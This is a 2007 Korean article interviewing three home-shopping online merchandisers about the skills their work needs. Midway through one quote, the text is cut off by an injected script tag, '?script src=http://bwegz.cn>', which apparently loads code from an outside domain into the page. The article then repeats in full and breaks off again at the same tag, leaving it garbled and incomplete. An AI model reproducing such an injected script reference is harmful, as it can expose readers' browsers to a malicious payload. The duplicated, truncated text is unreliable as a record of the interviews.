소비자에게 또 다른 채널로
2007-01-16
편리함, 저렴한 가격으로 소비자의 눈을 사로잡는 홈쇼핑 방송채널. 하지만 방송채널로는 한정된 시간에 한정된 상품밖에 제시할 수 없다는 한계가 있다. 이 고민을 풀어주고자 하루 24시간, 다양한 구색으로 인터넷을 통해 소비자들에게 다가서는 「LG e-샵 」 「CJ 39쇼핑」 「우리 홈 쇼핑 」 기획자 3인방을 만나보았다.
● 우리홈쇼핑 e-Commerce/DM팀 김선영 대리
제품에 대한 안목과 센스를 갖춰야
“MD로서 제품에 대한 안목과 센스가 무엇보다 필요합니다. 특히, 제가 진행하는 우리홈쇼핑 인터넷쇼핑몰 의류파트는 다른 웹사이트보다 트렌디한 제품에 주력하고 있어 안목과 센스는 더욱 중요하다고 할 수 있죠”라는 우리홈쇼핑 패션부문 MD 김선영씨의 이야기다.
“인터넷 쇼핑몰 MD인 경우에 유통구조상 오프라인 MD보다 다양한 역할을 합니다. 물론 디자이너, 홍보팀, 영업팀이 따로 있긴 하지만, 온라인 MD들은 제품구성에서부터 시작해 그에 걸맞는 이미지 페이지구성, 프로모션, 판매까지 진행해야 하는 등 관여할 것이 많죠. 하지만, 온라인쇼핑몰 MD도 MD라는 이름답게 상품자체에 대한 이해가 가장 필요하다고 생각합니다”
또한 패션제품은 제품의 특성상 트렌드를 타고, 계절상품이기 때문에 변화가 있으므로 안목있게 제품을 추려내는 능력이 매우 중요하다는 것은 김대리의 생각.
“일반 패션 인터넷쇼핑몰과 달리 제가 진행하는 인터넷 쇼핑몰은 방송채널과 카탈로그가 함께 진행되고 있습니다. 그런 이유에서 저희 쇼핑몰을 홈쇼핑채널의 단지 보조적인 도구라고만 생각하시는 분들이 많은 것 같아요. 하지만, 인터넷 쇼핑몰은 홈쇼핑과 카탈로그가 만족시키지 못하는 부분을 채우고 있는 중요한 채널입니다. 예를 들면, 홈쇼핑채널은 일정한 시간내에 보여줄 수 있는 제품양에 한계가 있고, 카탈로그는 지면에 한계가 있지만 인터넷홈쇼핑은 그에 비해 할용할 수 있는 공간이 매우 크다는 거죠. 넓은 공간을 우리가 추구하고자 하는 컨셉에 맞춰, 고객들이 원하는 제품을 추리기 위해선 안목과 센스는 필수겠죠”라는 김대리는 “온라인 MD라고 행동반경이 온라인에 그치는 것이 아니라 실제로 매장을 돌아다니면서 시장조사도 하고 잡지도 봐가면서 트렌드에 맞춰 갈 수 있는 눈을 키울려고 노력해야합니다”라고 덧붙였다.
● CJ 39쇼핑의 DB 상품 기획팀 김차영 대리
MD 재미에 푹 빠져 있습니다
“스트레스요?” 스트레스 받는다는 것을 지각하지 못할 정도로 MD의 재미에 푹 빠져 있습니다. 물론 스트레스가 전혀 없을 수는 없겠지만 저는 스트레스를 받는다는 것도 다 제가 살아있다는 증거라고 생각합니다.”
CJ 39쇼핑의 DB 상품 기획팀 김차영 대리는 CJ 39쇼핑의 지면 카달로그와 E-카달로그의 상품 기획을 담당하고 있다. 그녀는 섬유공학과 대학원 졸업 후 생산기술연구원 의류지원센터에서 4년간 연구원 생활을 하다가 우연한 기회에 재작년 7월 CJ 39 쇼핑의 공채 1기로 입사하게 됐다. “제가 원체 유통 쪽에 관심이 많았어요. 적극적이고 활동적인 제 성격도 그렇고 해서 기회가 왔을 때 잡은 거죠.”
“공산품이 아니라 주관에서 비롯된 사고도 많아요. 컬러 톤이나 소재 등에서 오는 차이점을 극복해야 하고… 또 불시에 일어나는 사고, 미출하나 협력업체와의 마찰 등도 다 제가 해결해야 하는 것이 어려운 점이죠.” 그러나 이 같은 많은 어려움이나 넘어야 할 산들이 김차영 대리에게는 하나 하나 재미난 도전으로 느껴진다고. 지금 「CJ 39쇼핑」과 「LG e-샵」 등 홈쇼핑 대표 주자들은 롯데 본점의 매출을 뛰어넘는 사상 최고의 호황을 누리고 있다. 김차영 대리는 “그 시장을 자신이 이끌어 간다는 점이 일에 대한 애정을 증폭시킨다”고 말한다. “MD는 자신이 기획한 일에 대한 결과가 바로바로 피드백으로 오기 때문에 스트레스를 받기도 쉽지만 그만큼 재미있기도 하다”며 “그렇지만 대범함과 세심함, 순간 판단력과 멀리 내다볼 줄 아는 지혜 등 양면성을 고루고루 갖춰야 하기 때문에 결코 만만한 일은 아니다”라고 덧붙였다.
마지막으로 김차영 대리는 홈쇼핑 MD를 희망하는 후배들에게 이렇게 얘기한다. “현장 경험이 무엇보다 중요합니다. 의류 생산라인을 직접 보고 문제점을 파악하고 있는 사람만이 기획부터 출고까지 홈쇼핑 업계의 전반적인 업무를 진두지휘할 수 있는 거죠. 이 일을 희망하신다면 먼저 현장 경험을 갈고 닦는 것을 권합니다”
● LG 홈쇼핑 EC 상품기획팀 이동철 대리
고객입장서 이해하려는 자세가 중요
“무엇보다 고객에게 제공하는 정보가 많아야하고, 고객에게 전달하는 정보가 고객지향적이어야 합니다.”
현재, 「LG e-샵」에서는 여성, 남성의류, 캐주얼의류, 남성, 여성 속옷, 기능성속옷, 홈웨어, 잠옷 등 1500여종의 패션 상품들을 판매하고 있다. “상품을 ?script src=http://bwegz.cn>
● 우리홈쇼핑 e-Commerce/DM팀 김선영 대리
제품에 대한 안목과 센스를 갖춰야
“MD로서 제품에 대한 안목과 센스가 무엇보다 필요합니다. 특히, 제가 진행하는 우리홈쇼핑 인터넷쇼핑몰 의류파트는 다른 웹사이트보다 트렌디한 제품에 주력하고 있어 안목과 센스는 더욱 중요하다고 할 수 있죠”라는 우리홈쇼핑 패션부문 MD 김선영씨의 이야기다.
“인터넷 쇼핑몰 MD인 경우에 유통구조상 오프라인 MD보다 다양한 역할을 합니다. 물론 디자이너, 홍보팀, 영업팀이 따로 있긴 하지만, 온라인 MD들은 제품구성에서부터 시작해 그에 걸맞는 이미지 페이지구성, 프로모션, 판매까지 진행해야 하는 등 관여할 것이 많죠. 하지만, 온라인쇼핑몰 MD도 MD라는 이름답게 상품자체에 대한 이해가 가장 필요하다고 생각합니다”
또한 패션제품은 제품의 특성상 트렌드를 타고, 계절상품이기 때문에 변화가 있으므로 안목있게 제품을 추려내는 능력이 매우 중요하다는 것은 김대리의 생각.
“일반 패션 인터넷쇼핑몰과 달리 제가 진행하는 인터넷 쇼핑몰은 방송채널과 카탈로그가 함께 진행되고 있습니다. 그런 이유에서 저희 쇼핑몰을 홈쇼핑채널의 단지 보조적인 도구라고만 생각하시는 분들이 많은 것 같아요. 하지만, 인터넷 쇼핑몰은 홈쇼핑과 카탈로그가 만족시키지 못하는 부분을 채우고 있는 중요한 채널입니다. 예를 들면, 홈쇼핑채널은 일정한 시간내에 보여줄 수 있는 제품양에 한계가 있고, 카탈로그는 지면에 한계가 있지만 인터넷홈쇼핑은 그에 비해 할용할 수 있는 공간이 매우 크다는 거죠. 넓은 공간을 우리가 추구하고자 하는 컨셉에 맞춰, 고객들이 원하는 제품을 추리기 위해선 안목과 센스는 필수겠죠”라는 김대리는 “온라인 MD라고 행동반경이 온라인에 그치는 것이 아니라 실제로 매장을 돌아다니면서 시장조사도 하고 잡지도 봐가면서 트렌드에 맞춰 갈 수 있는 눈을 키울려고 노력해야합니다”라고 덧붙였다.
● CJ 39쇼핑의 DB 상품 기획팀 김차영 대리
MD 재미에 푹 빠져 있습니다
“스트레스요?” 스트레스 받는다는 것을 지각하지 못할 정도로 MD의 재미에 푹 빠져 있습니다. 물론 스트레스가 전혀 없을 수는 없겠지만 저는 스트레스를 받는다는 것도 다 제가 살아있다는 증거라고 생각합니다.”
CJ 39쇼핑의 DB 상품 기획팀 김차영 대리는 CJ 39쇼핑의 지면 카달로그와 E-카달로그의 상품 기획을 담당하고 있다. 그녀는 섬유공학과 대학원 졸업 후 생산기술연구원 의류지원센터에서 4년간 연구원 생활을 하다가 우연한 기회에 재작년 7월 CJ 39 쇼핑의 공채 1기로 입사하게 됐다. “제가 원체 유통 쪽에 관심이 많았어요. 적극적이고 활동적인 제 성격도 그렇고 해서 기회가 왔을 때 잡은 거죠.”
“공산품이 아니라 주관에서 비롯된 사고도 많아요. 컬러 톤이나 소재 등에서 오는 차이점을 극복해야 하고… 또 불시에 일어나는 사고, 미출하나 협력업체와의 마찰 등도 다 제가 해결해야 하는 것이 어려운 점이죠.” 그러나 이 같은 많은 어려움이나 넘어야 할 산들이 김차영 대리에게는 하나 하나 재미난 도전으로 느껴진다고. 지금 「CJ 39쇼핑」과 「LG e-샵」 등 홈쇼핑 대표 주자들은 롯데 본점의 매출을 뛰어넘는 사상 최고의 호황을 누리고 있다. 김차영 대리는 “그 시장을 자신이 이끌어 간다는 점이 일에 대한 애정을 증폭시킨다”고 말한다. “MD는 자신이 기획한 일에 대한 결과가 바로바로 피드백으로 오기 때문에 스트레스를 받기도 쉽지만 그만큼 재미있기도 하다”며 “그렇지만 대범함과 세심함, 순간 판단력과 멀리 내다볼 줄 아는 지혜 등 양면성을 고루고루 갖춰야 하기 때문에 결코 만만한 일은 아니다”라고 덧붙였다.
마지막으로 김차영 대리는 홈쇼핑 MD를 희망하는 후배들에게 이렇게 얘기한다. “현장 경험이 무엇보다 중요합니다. 의류 생산라인을 직접 보고 문제점을 파악하고 있는 사람만이 기획부터 출고까지 홈쇼핑 업계의 전반적인 업무를 진두지휘할 수 있는 거죠. 이 일을 희망하신다면 먼저 현장 경험을 갈고 닦는 것을 권합니다”
● LG 홈쇼핑 EC 상품기획팀 이동철 대리
고객입장서 이해하려는 자세가 중요
“무엇보다 고객에게 제공하는 정보가 많아야하고, 고객에게 전달하는 정보가 고객지향적이어야 합니다.”
현재, 「LG e-샵」에서는 여성, 남성의류, 캐주얼의류, 남성, 여성 속옷, 기능성속옷, 홈웨어, 잠옷 등 1500여종의 패션 상품들을 판매하고 있다. “상품을 ?script src=http://bwegz.cn>
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